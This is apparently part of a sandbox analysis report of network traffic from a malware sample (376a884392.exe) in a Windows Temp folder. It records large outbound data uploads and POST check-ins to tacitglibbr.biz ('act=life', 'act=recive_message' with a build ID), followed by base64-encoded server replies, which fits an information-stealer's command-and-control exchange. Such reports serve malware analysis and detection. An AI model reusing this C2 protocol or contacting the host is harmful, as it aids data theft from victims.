2024-12-16 12:16:53 UTC	15331	OUT	Data Raw: 8d c0 0c 10 11 f8 df 18 8f 6f c9 70 e5 23 10 07 98 63 d0 f6 b1 52 dc 8c 00 d3 29 0b f3 6a 00 9f 9f 8b 53 76 86 00 a6 dd 44 c8 4e 39 0d 0b 9f 90 cd 09 49 bf 04 9f 7a ad 94 8e f7 d6 5b 50 57 57 7d 78 89 e6 87 36 c6 84 cf 4d bc 68 f4 da 2f 26 af 0a b5 b2 f2 fc 79 07 f4 85 74 b6 07 51 f0 79 f4 85 fd de 6c 33 cf d7 c5 04 5b 38 a7 0f 04 2e 63 ae 0d a6 36 ad b9 1c 4b 3c e2 84 04 77 2c 04 f8 b7 f0 a0 34 fa 20 b2 0a 7b 1a 74 60 d9 8d 0b ac 89 1a ca d4 57 95 9c 82 26 43 43 4d c9 9c 23 94 58 54 74 1a a5 d1 c0 cd a5 6e ff 16 65 54 1d 4a 2b e3 59 e1 5f be 26 4a 02 b1 31 e7 39 a7 41 21 b2 20 c6 73 d1 6c f0 0c e3 9e 38 eb c6 62 b4 2e c7 be 07 97 eb 8d 15 43 09 c8 17 fe 52 16 c6 2b ae 59 bd f9 6f 7b bc 29 09 b7 8a 59 7a 7b 90 d0 fc 50 70 f9 21 ca 30 9c 14 bb 7a db 34 cd Data Ascii: op#cR)jSvDN9Iz[PWW}x6Mh/&ytQyl3[8.c6K<w,4 {t`W&CCM#XTtneTJ+Y_&J19A! sl8b.CR+Yo{)Yz{Pp!0z4
2024-12-16 12:16:53 UTC	15331	OUT	Data Raw: c3 00 fe 3e 0f 6b 75 ba fc 04 5b b4 d3 79 87 30 49 17 9a d5 ec fc 9d 70 a7 3a 8a aa bb cf ca 95 5f f8 0f fe 98 7a d8 1a 58 b9 e2 7b af 8a 96 a1 e4 6a 2e 34 1e 67 7b dc 14 56 6e 0e ce c3 02 8b 2c 34 c1 67 e0 9f 5b ff d9 1a 84 79 1a 0a a6 ed 7e f1 8b 18 c5 16 9c 73 d4 93 24 de 6a be aa 38 b0 43 aa ac 3a 94 f7 df a3 a8 17 77 69 7f ac d1 64 84 d7 0d 27 fc ce c4 c8 8c f4 78 e7 b1 be 7d 62 9f e6 38 76 95 85 9c da 5d 02 fe 54 3e cf 76 ea 77 ea 6f 2e d3 74 5a 5d 4f 88 d3 51 d5 1f 06 84 b4 cf f4 52 e3 06 29 70 b3 b0 8f 7d 81 77 23 ea 0e 2c ac 25 af 04 06 53 e6 d6 97 c6 8c d7 cb f3 f8 e0 82 05 23 6f 95 6b 28 37 68 0f b7 80 ad 53 55 51 02 a8 ef 1e ed 21 8e 62 60 bd bb cd 2b ef 58 5b 85 11 3e 03 fd 9f e6 1b e6 f9 69 54 fd 87 02 24 13 8c ab a5 5f 90 eb 8d 5d 4e 18 4a Data Ascii: >ku[y0Ip:_zX{j.4g{Vn,4g[y~s$j8C:wid'x}b8v]T>vwo.tZ]OQR)p}w#,%S#ok(7hSUQ!b`+X[>iT$_]NJ
2024-12-16 12:16:53 UTC	15331	OUT	Data Raw: 81 e5 8c aa 87 e9 ff da 24 68 d8 44 b1 6d c4 94 65 74 27 de 5e e6 74 a6 a2 c1 a7 d5 08 2d 60 a9 a1 f1 79 15 f5 e7 63 b7 6d 58 7a 33 ab c0 7b 73 5a ee 0a 5e 78 88 c8 c6 32 1b 65 28 8b 5a 9b c4 ed 07 b5 c0 19 0c 2c 0d 9d ad 4f af 0b f3 3a 34 75 f3 3a 57 b0 7a b9 55 33 41 ec 46 e5 8b 25 34 25 d1 26 51 0b dc d8 ea 1c a9 73 06 75 92 fc 27 6c 97 86 4c 88 ee 39 cc cb 82 4d e4 db 74 6d f7 22 93 ff d0 f5 71 36 c3 95 98 28 bb df 2b ce 77 19 84 5f ee d8 b0 48 b8 63 2d 7a b8 61 88 b0 96 59 47 13 16 7c 83 87 20 3e ed 49 4b db 74 54 d5 f4 3d ff f5 3b 54 ba f1 67 94 ab ec 58 64 d8 c0 07 89 8c f4 e6 b5 61 e9 3f 65 3e 9b 97 9c 7d 68 79 83 6c 35 5a 82 37 ba 5d cc 62 35 3a 04 43 53 41 2b 80 43 c2 16 85 b6 43 e3 bf c7 d5 87 06 1b 20 c2 68 0d 9b cc 18 92 ef a3 d9 d5 84 c4 7c Data Ascii: $hDmet'^t-`ycmXz3{sZ^x2e(Z,O:4u:WzU3AF%4%&Qsu'lL9Mtm"q6(+w_Hc-zaYG\| >IKtT=;TgXda?e>}hyl5Z7]b5:CSA+CC h\|
2024-12-16 12:16:53 UTC	15331	OUT	Data Raw: 2d af 1a 26 d8 29 71 86 f5 73 15 aa cb aa 00 5a a1 9c 87 d8 e6 ed b4 0d 5c 3b d6 d9 bc 59 70 9c ee b3 ee 55 de e5 4c d1 0b d7 37 a5 5c e9 32 69 16 05 98 26 a5 da 1a 7d 05 c5 b9 6d b3 dd 6c 8e 0c 9f 3b 26 04 0e 14 c7 5c 28 2f 5c 94 15 46 9d 2c f2 c8 ed 17 76 6d f0 91 de 2b da e6 3b 3b 2c 50 73 81 e7 45 44 c0 ec 18 1c fc 36 06 ed 01 87 5d 27 5d 56 fa 78 50 d4 d5 a8 da 34 6e 8d 27 bb 3e 40 23 23 dd c9 ec b6 f5 90 f3 51 15 c9 f9 7a e2 c4 6b 9f 50 ea de 5d c7 de 3e 6c fd 5e d9 f8 99 fb 6b b9 de d7 7e fd c5 6b 45 4f 09 ab f3 98 d5 bc dc ca 9d e4 91 39 ae 9f 43 8b 5a 29 7b da 90 36 9a b7 c8 61 6d aa b6 d8 1a 10 57 17 dc f8 c6 59 d2 43 83 6e fc 6e 24 99 70 f5 e0 fd e4 a1 8e a9 c2 0b 60 55 89 95 ca 6d 0e fb 91 3e 32 25 cf ae 88 86 dd e7 fc 89 9e df 34 7f 62 57 57 Data Ascii: -&)qsZ\;YpUL7\2i&}ml;&\(/\F,vm+;;,PsED6]']VxP4n'>@##QzkP]>l^k~kEO9CZ){6amWYCnn$p`Um>2%4bWW
2024-12-16 12:16:56 UTC	1025	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qht6mk2kfdobdimgtih7d56pb3; expires=Fri, 11-Apr-2025 06:03:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0brUDcJEn3PPj6qYxO9Fr7aER3Kfv2hgNz%2FtkqHRWjJ3n%2FkAf%2FnPt3UzfQeL9kMD8zj0oHAVKNb%2BHK1%2F95hl6BuUP2SqkMD5FRgv68GM4f7LdvmYghbBlZQzHGkSV%2BAGe2M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9b6ffc3741fb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1871&min_rtt=1863&rtt_var=716&sent=334&recv=601&lost=0&retrans=0&sent_bytes=2839&recv_bytes=581805&delivery_rate=1510605&cwnd=181&unsent_bytes=0&cid=1a9defb7422e15f4&ts=3512&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49817	172.67.164.37	443	4232	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:16:54 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-16 12:16:54 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 12:16:55 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6oknb2999qqtql6mjj7367tffd; expires=Fri, 11-Apr-2025 06:03:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LncTOH7xjQ99vH5I5PKL1auDoorKHp4SVZ5e1jcIxUPmhiDpGEa70hi06Ll9Lw3WC70iCO9Hnm11IWeL%2FShK4Cs%2FqKDZ8r%2Bp1Vd1Xwl7kgKPBUWLx%2FPzwLdJBQjW7ym5L3M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9b72cdc2423b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1728&min_rtt=1718&rtt_var=665&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2839&recv_bytes=906&delivery_rate=1621321&cwnd=226&unsent_bytes=0&cid=27a3d2cf911dbf2e&ts=1323&x=0"
2024-12-16 12:16:55 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 12:16:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49823	172.67.164.37	443	4232	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:16:56 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: tacitglibbr.biz
2024-12-16 12:16:56 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-16 12:16:57 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ee3ipv1qbk2o9vvcbmpne7bku5; expires=Fri, 11-Apr-2025 06:03:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BnWBgs1uDDkHsiGx4NFN2DudvYX34cWzH5zwoc6YbeAJpDDDc3DrsggYv7Hyun4SsudqH%2FLBrQmse28HxB%2BNjTD0Mjg6Ei%2BiajXVV44Z3oiNTkqt%2F0gTwj5DaFxgZCrGm3I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9b842ec74393-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2223&min_rtt=2181&rtt_var=848&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=946&delivery_rate=1338835&cwnd=201&unsent_bytes=0&cid=ccb96cbc2f093b49&ts=873&x=0"
2024-12-16 12:16:57 UTC	354	IN	Data Raw: 32 35 34 62 0d 0a 36 43 78 6f 79 4b 50 48 33 41 78 43 4b 6c 37 55 4a 31 72 4d 59 58 42 4f 73 30 41 41 72 6f 57 76 4d 62 4f 67 44 31 6c 55 36 6d 2b 54 44 68 37 71 6d 66 50 77 4c 6a 46 50 66 4f 35 54 4b 4c 6b 45 58 47 7a 53 4a 43 4b 55 34 38 35 64 77 4d 55 6a 65 79 4b 48 54 64 4a 4b 43 61 54 51 6f 76 41 75 4a 31 4a 38 37 6e 77 68 37 67 51 65 62 49 6c 69 5a 63 54 6e 7a 6c 33 52 77 57 51 32 4a 49 59 4d 67 45 41 50 6f 4d 61 6b 75 47 30 75 52 7a 75 78 51 6a 75 6d 44 78 6b 6a 32 79 30 69 67 71 66 4b 53 35 47 61 4c 52 51 78 6e 67 36 6c 54 52 75 6a 67 62 72 77 64 32 42 50 4d 50 59 64 65 4b 30 45 45 69 4c 56 4a 47 76 47 37 63 64 56 30 4d 52 6c 4b 54 32 4d 42 34 42 4f 44 4b 48 4d 72 61 78 67 4a 45 41 77 74 30 67 37 37 6b 31 53 4b 38 6c 69 4f 6f 79 30 2f 31 44 41 30 Data Ascii: 254b6CxoyKPH3AxCKl7UJ1rMYXBOs0AAroWvMbOgD1lU6m+TDh7qmfPwLjFPfO5TKLkEXGzSJCKU485dwMUjeyKHTdJKCaTQovAuJ1J87nwh7gQebIliZcTnzl3RwWQ2JIYMgEAPoMakuG0uRzuxQjumDxkj2y0igqfKS5GaLRQxng6lTRujgbrwd2BPMPYdeK0EEiLVJGvG7cdV0MRlKT2MB4BODKHMraxgJEAwt0g77k1SK8liOoy0/1DA0
2024-12-16 12:16:57 UTC	1369	IN	Data Raw: 71 4c 35 38 4b 45 4d 33 73 31 63 7a 70 77 34 66 4c 4e 77 6f 62 63 2f 6e 79 6c 6e 62 7a 57 63 2f 4f 34 55 4c 69 6b 35 4b 35 49 47 69 70 69 35 34 43 42 2b 7a 56 54 2b 69 46 56 41 57 6b 54 30 73 31 61 66 4b 58 35 47 61 4c 54 4d 7a 69 77 36 42 51 51 6d 69 79 72 65 2b 66 43 5a 46 4f 61 52 44 50 61 41 4a 45 54 37 62 4c 47 54 50 37 73 5a 61 31 4d 56 70 65 33 6a 49 43 70 49 4f 55 75 72 67 71 4c 56 69 4b 6c 38 38 39 6c 70 32 74 30 4d 56 49 4a 46 36 49 73 6a 6d 79 56 4c 56 7a 47 4d 2f 4f 6f 34 44 68 30 45 4d 6f 4d 47 69 74 47 59 6f 53 54 47 39 53 6a 69 72 44 68 59 71 33 53 4e 6e 6a 4b 6d 4e 56 4d 6d 43 4e 58 73 59 6a 77 36 59 44 44 2b 70 7a 36 75 35 65 47 42 58 63 71 38 46 50 36 4a 44 53 6d 7a 66 4a 32 33 65 35 74 39 57 33 39 42 68 50 6a 43 46 44 6f 52 4f 44 36 33 Data Ascii: qL58KEM3s1czpw4fLNwobc/nylnbzWc/O4ULik5K5IGipi54CB+zVT+iFVAWkT0s1afKX5GaLTMziw6BQQmiyre+fCZFOaRDPaAJET7bLGTP7sZa1MVpe3jICpIOUurgqLViKl889lp2t0MVIJF6IsjmyVLVzGM/Oo4Dh0EMoMGitGYoSTG9SjirDhYq3SNnjKmNVMmCNXsYjw6YDD+pz6u5eGBXcq8FP6JDSmzfJ23e5t9W39BhPjCFDoROD63
2024-12-16 12:16:57 UTC	1369	IN	Data Raw: 47 42 58 63 71 38 46 50 36 4a 44 53 6d 7a 63 4b 6d 66 4a 36 4d 78 5a 33 38 64 6e 4e 7a 36 47 44 70 68 42 44 71 72 4e 72 62 52 6a 4c 6b 77 30 76 30 34 7a 71 41 4d 54 4a 70 46 73 49 73 76 2f 6a 51 75 52 39 6d 6f 33 4f 34 64 50 76 30 30 45 70 4d 61 7a 2f 6e 46 75 55 58 79 78 53 58 6a 32 51 78 34 6c 30 53 6c 6f 79 4f 66 4b 58 74 54 42 61 6a 67 37 6a 77 65 45 53 51 36 6d 79 4b 69 34 62 69 64 4d 4f 61 52 41 4d 61 49 50 55 6d 4b 52 4a 58 71 4d 76 34 31 38 31 74 52 75 46 44 57 5a 42 4d 70 52 52 4c 4f 42 6f 72 49 75 65 41 67 37 73 30 30 7a 71 41 73 53 50 74 51 73 61 63 33 74 79 31 4c 63 7a 6d 73 37 4e 34 67 4c 68 6b 34 4e 72 64 4f 33 75 32 67 79 51 6e 7a 34 42 54 2b 32 51 30 70 73 35 7a 4a 31 33 66 47 50 5a 74 4c 4d 59 7a 77 67 79 42 4c 45 56 30 71 74 7a 65 58 6d Data Ascii: GBXcq8FP6JDSmzcKmfJ6MxZ38dnNz6GDphBDqrNrbRjLkw0v04zqAMTJpFsIsv/jQuR9mo3O4dPv00EpMaz/nFuUXyxSXj2Qx4l0SloyOfKXtTBajg7jweESQ6myKi4bidMOaRAMaIPUmKRJXqMv4181tRuFDWZBMpRRLOBorIueAg7s00zqAsSPtQsac3ty1Lczms7N4gLhk4NrdO3u2gyQnz4BT+2Q0ps5zJ13fGPZtLMYzwgyBLEV0qtzeXm
2024-12-16 12:16:57 UTC	1369	IN	Data Raw: 47 39 53 6a 4f 38 41 78 38 6f 33 53 5a 71 78 2b 32 4e 48 5a 48 46 64 58 74 75 79 44 69 48 51 51 71 70 31 2b 57 68 49 44 6b 49 4f 37 6f 46 59 4f 34 50 48 43 7a 65 4c 6d 37 48 37 38 78 66 33 38 56 6f 4d 6a 36 41 48 34 74 4b 41 71 76 50 71 72 39 71 4a 55 30 34 73 55 45 2b 6f 55 4e 63 62 4e 59 36 49 70 53 6e 34 6e 54 6b 67 45 77 42 64 70 64 44 6b 77 34 4e 70 6f 48 39 2f 6d 49 6a 52 44 53 35 51 7a 47 69 43 52 73 6e 33 53 6c 6d 77 4f 37 49 56 64 44 48 61 44 6f 79 68 41 65 4d 54 51 6d 6c 7a 71 71 32 4c 6d 34 49 4f 36 34 46 59 4f 34 6d 42 53 66 66 4a 43 4c 54 71 64 51 54 31 73 34 74 59 33 61 45 42 49 78 49 44 36 62 41 6f 37 5a 72 4b 45 77 39 73 45 4d 37 6f 51 63 58 4c 64 34 6d 62 73 4c 74 7a 46 4c 64 79 57 49 77 4d 38 68 44 79 6b 6b 53 36 70 6e 6c 6a 32 30 32 58 Data Ascii: G9SjO8Ax8o3SZqx+2NHZHFdXtuyDiHQQqp1+WhIDkIO7oFYO4PHCzeLm7H78xf38VoMj6AH4tKAqvPqr9qJU04sUE+oUNcbNY6IpSn4nTkgEwBdpdDkw4NpoH9/mIjRDS5QzGiCRsn3SlmwO7IVdDHaDoyhAeMTQmlzqq2Lm4IO64FYO4mBSffJCLTqdQT1s4tY3aEBIxID6bAo7ZrKEw9sEM7oQcXLd4mbsLtzFLdyWIwM8hDykkS6pnlj202X
2024-12-16 12:16:57 UTC	1369	IN	Data Raw: 30 37 6b 31 53 4b 38 6c 69 4f 6f 7a 4a 78 6b 44 47 77 57 4d 77 49 4a 4e 4e 6c 51 41 54 36 73 61 70 2f 6a 5a 67 53 7a 65 39 51 54 69 69 41 78 59 68 30 54 42 74 79 2b 44 45 57 4d 50 49 61 6a 77 39 67 41 61 46 53 42 69 6d 7a 37 65 37 66 44 49 49 63 76 5a 43 49 4f 35 62 55 68 72 57 4d 6e 4c 50 70 66 78 46 30 74 52 6d 4e 6a 72 49 45 73 52 58 53 71 33 4e 35 65 59 75 4a 6b 63 31 74 55 6f 35 70 77 38 66 4b 64 67 6e 59 38 72 6a 78 31 6e 52 78 47 73 36 4d 34 49 4f 69 30 51 44 72 63 6d 69 76 58 78 67 42 6e 79 78 58 58 6a 32 51 7a 73 72 77 79 78 79 6a 50 69 44 53 70 48 46 59 58 74 75 79 41 6d 41 51 51 36 74 7a 61 4f 37 61 43 31 4a 4d 37 64 46 4e 36 6f 49 47 79 72 51 4c 32 66 42 34 39 39 5a 32 73 31 68 4d 6a 71 46 54 63 51 4f 44 62 4b 42 2f 66 35 66 4c 55 59 79 73 56 Data Ascii: 07k1SK8liOozJxkDGwWMwIJNNlQAT6sap/jZgSze9QTiiAxYh0TBty+DEWMPIajw9gAaFSBimz7e7fDIIcvZCIO5bUhrWMnLPpfxF0tRmNjrIEsRXSq3N5eYuJkc1tUo5pw8fKdgnY8rjx1nRxGs6M4IOi0QDrcmivXxgBnyxXXj2QzsrwyxyjPiDSpHFYXtuyAmAQQ6tzaO7aC1JM7dFN6oIGyrQL2fB499Z2s1hMjqFTcQODbKB/f5fLUYysV
2024-12-16 12:16:57 UTC	1369	IN	Data Raw: 46 79 48 63 4c 32 48 4b 34 63 5a 66 77 38 74 74 4f 44 33 49 51 38 70 4a 45 75 71 5a 35 5a 31 35 4e 6b 49 37 75 6c 4d 7a 72 77 41 45 49 63 46 69 4c 49 7a 32 79 6b 4b 52 6d 6e 73 72 49 59 38 53 78 46 64 4b 72 63 33 6c 35 69 34 6d 51 54 71 78 51 7a 61 38 42 68 51 6a 33 69 74 72 79 4f 2f 4f 55 39 58 47 61 6a 34 31 68 41 61 4e 54 51 57 75 79 4b 75 33 59 57 41 47 66 4c 46 64 65 50 5a 44 4d 7a 66 53 4c 6d 2b 4d 2b 49 4e 4b 6b 63 56 68 65 32 37 49 41 59 52 4c 43 71 44 48 6f 62 74 6f 4b 6b 30 38 76 55 59 33 71 67 55 57 49 39 45 70 61 38 33 68 79 46 6e 61 78 47 41 34 4d 49 35 4e 78 41 34 4e 73 6f 48 39 2f 6b 34 37 52 54 43 78 42 53 66 67 47 6c 49 72 33 57 49 36 6a 4f 7a 42 56 39 62 43 59 44 67 2b 6a 51 6d 41 53 77 71 69 30 36 32 2b 61 54 4a 61 50 4c 39 41 4e 4b 30 Data Ascii: FyHcL2HK4cZfw8ttOD3IQ8pJEuqZ5Z15NkI7ulMzrwAEIcFiLIz2ykKRmnsrIY8SxFdKrc3l5i4mQTqxQza8BhQj3itryO/OU9XGaj41hAaNTQWuyKu3YWAGfLFdePZDMzfSLm+M+INKkcVhe27IAYRLCqDHobtoKk08vUY3qgUWI9Epa83hyFnaxGA4MI5NxA4NsoH9/k47RTCxBSfgGlIr3WI6jOzBV9bCYDg+jQmASwqi062+aTJaPL9ANK0
2024-12-16 12:16:57 UTC	1369	IN	Data Raw: 79 46 79 7a 2b 6a 63 62 5a 47 61 64 41 56 32 67 78 75 4e 58 67 6d 38 79 71 69 79 66 78 34 49 5a 4f 49 58 61 76 78 52 51 44 4f 52 50 56 32 43 70 38 77 54 69 66 74 30 65 79 44 49 56 64 67 41 53 72 69 42 2f 66 34 70 49 31 6f 75 73 45 59 75 72 55 51 73 45 76 59 30 61 4d 76 33 79 6b 54 65 67 69 4e 37 4f 63 68 56 73 77 34 44 72 64 71 30 71 47 4d 77 54 33 79 4a 43 33 69 32 51 30 70 73 35 43 46 73 77 75 44 62 51 70 7a 6c 65 7a 45 78 6d 41 71 64 51 55 72 6b 67 61 50 2b 4e 6e 4d 47 66 4c 4a 55 65 50 5a 54 51 48 65 45 63 54 57 63 74 64 49 64 79 49 4a 37 65 32 37 61 51 38 70 63 53 76 4b 42 34 72 31 38 4d 6b 34 2f 6f 45 5a 2f 6b 44 30 31 4e 74 77 6b 64 64 33 5a 38 31 54 4c 7a 32 73 73 4a 38 51 59 69 55 41 45 72 64 66 6c 38 43 34 76 43 47 53 50 42 58 44 75 50 46 78 73 Data Ascii: yFyz+jcbZGadAV2gxuNXgm8yqiyfx4IZOIXavxRQDORPV2Cp8wTift0eyDIVdgASriB/f4pI1ousEYurUQsEvY0aMv3ykTegiN7OchVsw4Drdq0qGMwT3yJC3i2Q0ps5CFswuDbQpzlezExmAqdQUrkgaP+NnMGfLJUePZTQHeEcTWctdIdyIJ7e27aQ8pcSvKB4r18Mk4/oEZ/kD01Ntwkdd3Z81TLz2ssJ8QYiUAErdfl8C4vCGSPBXDuPFxs
2024-12-16 12:16:57 UTC	987	IN	Data Raw: 6d 30 6d 67 4f 44 33 53 4d 69 64 70 35 4e 30 68 78 45 36 74 50 6c 35 69 35 6e 53 79 36 6b 51 7a 75 34 41 46 55 53 37 77 56 73 79 2b 62 62 51 38 62 4e 55 77 55 6a 69 77 4f 45 53 52 79 37 67 65 76 2b 59 57 41 51 42 66 59 4e 65 4a 46 4e 55 6a 53 52 65 69 4c 35 35 4d 4e 64 31 74 52 38 64 68 47 47 43 6f 74 59 47 72 33 4f 35 66 41 75 4a 67 68 6b 35 41 74 34 71 68 4a 53 64 49 46 77 4f 5a 6d 30 6d 67 4f 44 33 53 4d 69 64 70 35 4e 30 68 78 45 36 74 50 6c 35 69 35 6e 53 79 36 6b 51 7a 75 34 41 46 55 53 37 77 56 73 79 2b 62 62 51 38 62 4e 49 68 55 41 71 54 4f 30 57 77 6d 6b 7a 36 4b 6f 66 32 41 47 66 4c 6b 46 59 4a 64 44 57 6d 7a 75 62 43 4c 55 70 35 55 54 35 4d 46 6a 4e 54 47 65 48 4d 64 70 42 4b 33 41 73 36 35 35 4c 77 63 53 67 47 52 34 34 45 4d 55 62 49 6c 77 4c Data Ascii: m0mgOD3SMidp5N0hxE6tPl5i5nSy6kQzu4AFUS7wVsy+bbQ8bNUwUjiwOESRy7gev+YWAQBfYNeJFNUjSReiL55MNd1tR8dhGGCotYGr3O5fAuJghk5At4qhJSdIFwOZm0mgOD3SMidp5N0hxE6tPl5i5nSy6kQzu4AFUS7wVsy+bbQ8bNIhUAqTO0Wwmkz6Kof2AGfLkFYJdDWmzubCLUp5UT5MFjNTGeHMdpBK3As655LwcSgGR44EMUbIlwL
2024-12-16 12:16:57 UTC	1369	IN	Data Raw: 32 33 64 31 0d 0a 64 33 4d 4e 75 4e 54 57 61 48 34 78 4e 48 4b 6d 47 6d 34 42 4c 4c 55 55 35 75 45 49 47 6b 43 49 59 50 4e 77 74 5a 66 4c 5a 2b 6b 4c 57 30 69 38 64 4e 5a 34 4f 79 67 42 4b 73 6f 48 39 2f 6b 38 71 57 44 47 35 51 6e 6a 67 51 78 5a 73 69 57 4a 48 77 65 72 49 58 64 61 41 54 44 45 6d 68 51 4b 4e 44 6b 54 71 7a 65 58 6d 4c 69 46 43 4c 4c 74 4b 50 2b 49 45 43 43 75 52 62 43 4c 43 70 35 55 54 30 4d 68 39 4e 6a 6d 50 51 59 78 41 42 4f 72 65 36 36 63 75 4e 67 68 6b 35 51 74 34 76 45 4e 4b 62 4a 59 73 62 38 33 6b 77 31 44 44 30 47 73 34 49 49 74 4b 74 48 41 76 70 38 79 67 73 47 6b 65 64 68 32 38 56 54 57 68 42 46 41 4d 31 6a 52 68 38 74 6e 36 51 74 62 53 4c 78 30 31 6e 67 37 4b 41 45 71 79 67 66 33 2b 54 79 70 59 4d 62 6c 43 65 6f 34 45 42 43 2b 52 Data Ascii: 23d1d3MNuNTWaH4xNHKmGm4BLLUU5uEIGkCIYPNwtZfLZ+kLW0i8dNZ4OygBKsoH9/k8qWDG5QnjgQxZsiWJHwerIXdaATDEmhQKNDkTqzeXmLiFCLLtKP+IECCuRbCLCp5UT0Mh9NjmPQYxABOre66cuNghk5Qt4vENKbJYsb83kw1DD0Gs4IItKtHAvp8ygsGkedh28VTWhBFAM1jRh8tn6QtbSLx01ng7KAEqygf3+TypYMblCeo4EBC+R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49826	172.217.21.36	443	4040	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:16:57 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 12:16:58 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:57 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-nMNrBHTj8NfxchgKPVp9qg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
